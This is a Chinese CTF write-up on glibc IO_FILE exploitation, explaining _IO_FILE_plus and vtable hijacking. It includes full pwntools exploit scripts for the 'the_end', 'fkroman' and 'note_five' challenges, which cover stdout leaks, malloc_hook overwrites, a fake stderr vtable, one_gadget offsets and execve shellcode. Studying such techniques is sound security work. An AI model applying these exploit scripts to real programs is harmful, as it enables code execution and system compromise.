这篇文章是对上一篇的更新,IO_File是很重要的一个环节,学好了对于堆的CTF题目事半功倍,下面进入正题。

一、IO_File结构体一览

首先看一波源码:

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

其实进程中的FILE结构会通过_chain域彼此连接形成一个链表,链表头部用全局变量_IO_list_all表示

,通过这个值我们可以遍历所有的FILE结构。

在标准的I/O库中,stdin、stdout、stderr是在libc.so的数据段的,而且三个文件流是自动打开的 ,但是fopen创建的文件流则是在堆中,看下符号长什么样:

_IO_2_1_stderr_
_IO_2_1_stdout_
_IO_2_1_stdin_

但是file结构其实只是一小部分,它有个兄弟叫vtable指针,两人一起同属于_IO_File_plus:

struct _IO_FILE_plus
{
    _IO_FILE    file;
    IO_jump_t   *vtable;
}
//32位下的偏移是0x94,而64位下偏移是0xd8

在gdb中调试下看看:

Vtable存着哪些可以跳转的函数指针呢?看看

void * funcs[] = {
   1 NULL, // "extra word"
   2 NULL, // DUMMY
   3 exit, // finish
   4 NULL, // overflow
   5 NULL, // underflow
   6 NULL, // uflow
   7 NULL, // pbackfail

   8 NULL, // xsputn  #printf
   9 NULL, // xsgetn
   10 NULL, // seekoff
   11 NULL, // seekpos
   12 NULL, // setbuf
   13 NULL, // sync
   14 NULL, // doallocate
   15 NULL, // read
   16 NULL, // write
   17 NULL, // seek
   18 pwn,  // close
   19 NULL, // stat
   20 NULL, // showmanyc
   21 NULL, // imbue
};

这里自己写了个简单的程序去研究:

可以看到一个简单的puts函数,调用的过程是puts——>IO_file_xsputn——>IO_file_overflow——>.........malloc(“666”)——>write输出666

_IO_FILE_plus 结构中存在 vtable,一些函数会取出 vtable 中的指针进行调用。

因此伪造vtable劫持控制流程的思想就是针对_IO_File_plus的vtable动手脚,通过把vtable指向我们控制的内存,并在其中部署函数指针来实现

所以vtable劫持分为2种,一种是直接改写vtable的函数的指针,通过任意地址写就可以实现。另一种是覆盖vtable的指针为我们控制的内存,然后在其中布置函数指针。

二、修改vtable实现控制程序流程:

The_end

有点不寻常的题目,肯定是新姿势,close关闭的话就无法再输出信息,但是前面给了sleep的真实地址,所以直接泄露出来得到onegadget,同时我们知道exit会调用_IO_2_1_stdout_的sebuf函数,接着就是任意地址写5字节的操作了(假想

成格式化字符串写地址),具体往哪里写呢,先来看下结构体:

可以看到setbuf的偏移为88,那么我们可以伪造vtable指针和setbuf地址,选取IO_2_1_stdout+160作为我们的setbuf的地址,IO_2_1_stdout+160-88就是我们的fake_vtable地址,这样我们一共需要填5次,第一次填写vtable的低2位字节,第二次填写onegadget的低3位字节,由于偏移是不变的,所以直接打:

exp:

#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./the_end')
if local:
    p = process('./the_end')
    libc = elf.libc
else:
    p = remote('116.85.48.105',5005)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6)  0x45216  0x4526a  0xf02a4  0xf1147
#onegadget32(libc.so.6)  0x3ac5c  0x3ac5e  0x3ac62  0x3ac69  0x5fbc5  0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80' 
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))
debug(0x000964)
ru("gift ")
sleep_addr = int(rc(14),16)
print "sleep_addr--->" + hex(sleep_addr)
libc_base = sleep_addr - libc.symbols['sleep']
onegadget = libc_base + 0xf02a4
vtable = libc_base + 0x3c56f8
fake_vtable = vtable - 0x90
fake_setbuf = fake_vtable + 88
for i in range(2):
    sd(p64(vtable+i))
    sd(p64(fake_vtable)[i])
for i in range(3):
    sd(p64(fake_setbuf+i))
    sd(p64(onegadget)[i])

p.interactive()

调试看看情况,发现成功改写:

其实这题还可以直接利用exit执行_dl_fini:

我们直接往0x7f6086f14f48 (_rtld_global+3848)写入onegadget的4个字节即可 :

#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./the_end')
if local:
    p = process('./the_end')
    libc = elf.libc
else:
    p = remote('116.85.48.105',5005)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6)  0x45216  0x4526a  0xf02a4  0xf1147
#onegadget32(libc.so.6)  0x3ac5c  0x3ac5e  0x3ac62  0x3ac69  0x5fbc5  0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80' 
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))
debug(0x000964)
ru("gift ")
sleep_addr = int(rc(14),16)
print "sleep_addr--->" + hex(sleep_addr)
libc_base = sleep_addr - libc.symbols['sleep']
onegadget = libc_base + 0xf02a4
vtable = libc_base + 0x3c56f8
fake_vtable = vtable - 0x90
fake_setbuf = fake_vtable + 88
free_hook = libc_base + libc.symbols["__free_hook"]

fake_got = libc_base + 0x5f0f48
print "fake_got--->"  + hex(fake_got)
print "onegadget--->" + hex(onegadget)
for i in range(5):
    sd(p64(fake_got+i))
    sd(p64(onegadget)[i])


p.interactive()

总结:这种是通过改vtable指针,通过伪造vtable指针来改变跳转。

三、IO_2_1_stdout_泄露地址

这里得看一波源码才了解具体的原理:

首先得知道puts函数的函数调用链:

我们知道puts函数在源码中是通过_IO_puts函数的内部调用_IO_sputn实现,结果会执行_IO_new_file_xsputn,最终执行_IO_overflow,我们来看下_IO_puts的源码实现:

int
_IO_puts (const char *str)
{
  int result = EOF;
  _IO_size_t len = strlen (str);
  _IO_acquire_lock (_IO_stdout);

  if ((_IO_vtable_offset (_IO_stdout) != 0
       || _IO_fwide (_IO_stdout, -1) == -1)
      && _IO_sputn (_IO_stdout, str, len) == len
      && _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
    result = MIN (INT_MAX, len + 1);

  _IO_release_lock (_IO_stdout);
  return result;
}

_IO_new_file_overflow源码分析:

int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;//程序会dang,所以我们不能进入这个if分支,所以f->_flags & _IO_NO_WRITES要等于0,所以flag=0xfbad0000
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    ......
    ......
      //这个分支复杂,最后也会dang,我们不能进去,所以f->_flags & _IO_CURRENTLY_PUTTING=1即可,所以flag=0xfbad0800
    }
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
             f->_IO_write_ptr - f->_IO_write_base); //目标函数,这里执行_IO_do_write会涉及到syscall,相当于write(1,buf,size),由于目的就是泄露地址,所以buf=_IO_write_base就是我们要修改的值,一般将末尾改成'\x00',原本是有值的
  if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
    if (_IO_do_flush (f) == EOF)
      return EOF;
  *f->_IO_write_ptr++ = ch;
  if ((f->_flags & _IO_UNBUFFERED)
      || ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
    if (_IO_do_write (f, f->_IO_write_base,
              f->_IO_write_ptr - f->_IO_write_base) == EOF)
      return EOF;
  return (unsigned char) ch;
}

进去do_new_write:

static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{//相当于write(1,buf,size)
  _IO_size_t count;
  if (fp->_flags & _IO_IS_APPENDING)//要进去的话,flag=0xfbad1800
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {//这里虽然可以改,但是如果改成相同的,程序会crash掉,所以要避免进去这个分支
      _IO_off64_t new_pos
    = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
    return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);   //最终输出,系统调用write
  if (fp->_cur_column && count)
    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
  fp->_IO_write_end = (fp->_mode <= 0
               && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
               ? fp->_IO_buf_base : fp->_IO_buf_end);
  return count;//回显出write出来的东西
}

好了,源码解析完毕了,下面就是利用演示了:

这种利用方法针对于没有puts打印函数的情况,但是需要一个前提,就是需要劫持到stdout结构体,一般来说是通过UAF(unsorted bin切割法得到地址,FD指向unsortedbin),接着改FD的main_arena+88的末位(若没有则利用攻击global_max_fast的方式去做,使得有fastbin dump),变成stdout-xx的位置(得有0x7f或者0xff的size,0x7f在0x43的位置,0xff在0x51的位置),下一次申请时就可以从上往下写,改写flag标志位为0xfbad1800固定值,同时修改IO_Write_base末尾为'\x00',在flag位和IO_Write_base位之间填写的东西可以为任意值,我们的目的是下溢改写IO_Write_base。

程序就是常规的菜单题:

我们整理出函数,没有puts打印函数,但是有UAF漏洞,可以free完改FD,也可以double free。

def malloc(index,size):
    ru("Your choice: ")
    sl('1')
    ru("Index: ")
    sl(str(index))
    ru("Size: ")
    sl(str(size))
def free(index):
    ru("Your choice: ")
    sl('3')
    ru("Index: ")
    sl(str(index))
def edit(index,size,content):
    ru("Your choice: ")
    sl('4')
    ru("Index: ")
    sl(str(index))
    ru("Size: ")
    sl(str(size))
    ru("Content: ")
    sd(content)

这里有个问题就是搞到有unsorted_bin的FD指针的堆块,重复利用法:

malloc(0,0x400)
malloc(1,0x60)
malloc(2,0x20)
free(0)
malloc(3,0x60)
malloc(4,0x60)
malloc(5,0x60)
free(3)
free(4)
edit(4,1,'\xe0')

先申请大块chunk,free用切割法得到有main_arena地址的chunk块,然后利用UAF改写FD指针指向我们的有main_arena地址的堆块,接着再edit这个堆块的FD为stdout-xx(成功实现劫持),所以这个块是被使用了两次~

再申请出来就可以改写stdout的标志位和输出位置了。有了真实地址后就可以再次改写FD指针然后改malloc_hook为我们的onegadget,即可getshell。

#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./fkroman')
if local:
    p = process('./fkroman')
    libc = elf.libc
else:
    p = remote('116.85.48.105',5005)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6)  0x45216  0x4526a  0xf02a4  0xf1147
#onegadget32(libc.so.6)  0x3ac5c  0x3ac5e  0x3ac62  0x3ac69  0x5fbc5  0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80' 
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))

def malloc(index,size):
    ru("Your choice: ")
    sl('1')
    ru("Index: ")
    sl(str(index))
    ru("Size: ")
    sl(str(size))
def free(index):
    ru("Your choice: ")
    sl('3')
    ru("Index: ")
    sl(str(index))
def edit(index,size,content):
    ru("Your choice: ")
    sl('4')
    ru("Index: ")
    sl(str(index))
    ru("Size: ")
    sl(str(size))
    ru("Content: ")
    sd(content)

def pwn():
    malloc(0,0x400)
    malloc(1,0x60)
    malloc(2,0x20)
    free(0)
    malloc(3,0x60)
    malloc(4,0x60)
    malloc(5,0x60)
    free(3)
    free(4)
    edit(4,1,'\xe0')
    malloc(3,0x60)
    edit(5,2,'\xdd\x75')
    # debug(0)
    malloc(4,0x60)

    py = ''
    py += '\x00'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00'
    malloc(5,0x60)
    edit(5,len(py),py)
    rc(0x40)
    libc_base = u64(rc(8)) - 0x3c5600
    print "libc_base--->" + hex(libc_base)
    onegadget = libc_base + 0x4526a
    fake_chunk = libc_base + libc.symbols["__malloc_hook"] - 0x23
    free(1)
    edit(1,8,p64(fake_chunk))
    malloc(1,0x60)
    malloc(6,0x60)
    py = ''
    py += 'a'*0x13 + p64(onegadget)
    edit(6,len(py),py)
    malloc(7,0x60)
i = 1
while 1:
    print i
    i += 1
    try:
        pwn()
    except Exception as e:
        p.close()
        local = 1
        elf = ELF('./fkroman')
        if local:
            p = process('./fkroman')
            libc = elf.libc
        else:
            p = remote('116.85.48.105',5005)
            libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        continue
    else:
        sl('cat flag')
p.interactive()

总结:这里有1/16的概率可以泄露地址来getshell,但是还是比较简单的,写个循环去爆破就好了。

四、先IO_File泄露地址再修改vtable控制程序流程

拿byteCTF的那道note_five为例:

这题质量还是挺高的,先来看看保护机制:

保护全开,然后看看ida分析逻辑:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  unsigned int choice; // ST0C_4
  __int64 result; // rax

  init_0();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          choice = menu();
          result = choice;
          if ( choice != 2 )
            break;
          edit();
        }
        if ( result > 2 )
          break;
        if ( result != 1 )
          goto LABEL_12;
        malloc_0();
      }
      if ( result != 3 )
        break;
      free_0();
    }
    if ( result == 4 )
      return result;
LABEL_12:
    puts("bad choice");
  }
}

常见的菜单题,

这里malloc的大小时unsortedbin的范围,没有fastbin的攻击,继续。

这里看看漏洞点:

edit时存在offbyone,同时没有puts函数可以泄露地址。

攻击思路如下:

1、利用offbyone实现overlap

2、利用overlap实现改BK指针,攻击global_max_fast

3、改FD指针为stdout-0x51,成功实现劫持

4、改结构体从而泄露真实地址

5、然后伪造stderr的vtable,由于程序报错会执行vtable+0x18处的IO_file_overflow函数,所以将这个IO_file_overflow函数改成onegadget

6、malloc很大的块,最后触发IO_file_overflow中的_IO_flush_all_lockp,从而getshell。

这里_wide_data要填我们劫持的地址+1的位置,同时要改_mode为1,表示报错模块。

上exp:

#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./note_five')
if local:
    p = process('./note_five')
    libc = elf.libc
else:
    p = remote('116.85.48.105',5005)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

#onegadget64(libc.so.6)  0x45216  0x4526a  0xf02a4  0xf1147
#onegadget32(libc.so.6)  0x3ac5c  0x3ac5e  0x3ac62  0x3ac69  0x5fbc5  0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_mallocr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80' 
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'

def bk(mallocr):
    gdb.attach(p,"b *"+str(hex(mallocr)))
def debug(mallocr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+mallocr)))
    else:
        gdb.attach(p,"b *{}".format(hex(mallocr)))

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def malloc(idx,size):
    ru("choice>> ")
    sl('1')
    ru("idx: ")
    sl(str(idx))
    ru("size: ")
    sl(str(size))
def free(index):
    ru("choice>> ")
    sl('3')
    ru("idx:")
    sl(str(index))
def edit(index,content):
    ru("choice>> ")
    sl('2')
    ru("idx: ")
    sl(str(index))
    ru("content: ")
    sd(content)
def pwn():
    malloc(0,0xf8)
    malloc(1,0xf8)
    malloc(2,0xe8)
    malloc(3,0xf8)
    malloc(4,0xf8)

    free(0)
    payload = 'c' * 0xe0 + p64(0x2f0) + '\x00'
    edit(2,payload)
    free(3)
    malloc(0,0x2f0 - 0x10)
    payload = '\x11' * 0xf0 
    payload += p64(0) + p64(0x101)
    payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) + "\n"
    edit(0,payload)
    free(1)
    global_max_fast = 0x77f8
    stdout = 0x77f8 - 0x1229
    payload = '\x11' * 0xf0
    payload += p64(0) + p64(0x101)
    payload += p64(0) + p16(0x77f8 - 0x10) + '\n'
    edit(0,payload)
    # debug(0)
    malloc(3,0xf8)
    malloc(3,0xf8)
    payload = '\x11' * 0xf0 
    payload += p64(0) + p64(0x101)
    payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) + "\n"
    edit(0,payload)
    free(2)
    payload = '\x11' * 0xf0 
    payload += p64(0) + p64(0x101)
    payload += '\x22' * 0xf0 + p64(0) + p64(0xf1)
    payload += p16(stdout) + '\n'
    edit(0,payload)
    malloc(3,0xe8)
    malloc(4,0xe8)
    # debug(0)
    py = ''
    py += 'a'*0x41 + p64(0xfbad1800) + p64(0)*3 + '\x00' + '\n' 
    edit(4,py)
    rc(0x40)
    libc_base = u64(rc(8)) - 0x3c5600
    onegadget = libc_base + 0xf1147
    print "libc_base--->" + hex(libc_base)
    system = libc_base + libc.symbols["system"]
    fake_vtable = libc_base + 0x3c5600-8 
    binsh = libc_base + libc.search('/bin/sh\x00').next()
    py = '\x00' + p64(libc_base+0x3c55e0) + p64(0)*3+p64(0x1)+p64(0)+p64(onegadget)+p64(fake_vtable) + '\n'
    edit(4,py)
    # trigger abort-->flush
    malloc(1,1000)

i = 0
while 1:
    print i
    i += 1
    try:
        pwn()
    except EOFError:
        p.close()
        local = 1
        elf = ELF('./note_five')
        if local:
            p = process('./note_five')
            libc = elf.libc
            continue
        else:
            p = remote('121.40.246.48',9999)
    else:
        sl("ls")
        break
p.interactive()





# p.interactive()
# 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   rcx == NULL

# 0x4f322 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   [rsp+0x40] == NULL

# 0x10a38c execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

总结,IO_File是做堆题目时常用到的很好的方法,掌握泄露地址和改vtable实现控制程序执行流程,受益匪浅。

点击收藏 | 1 关注 | 2
登录 后跟帖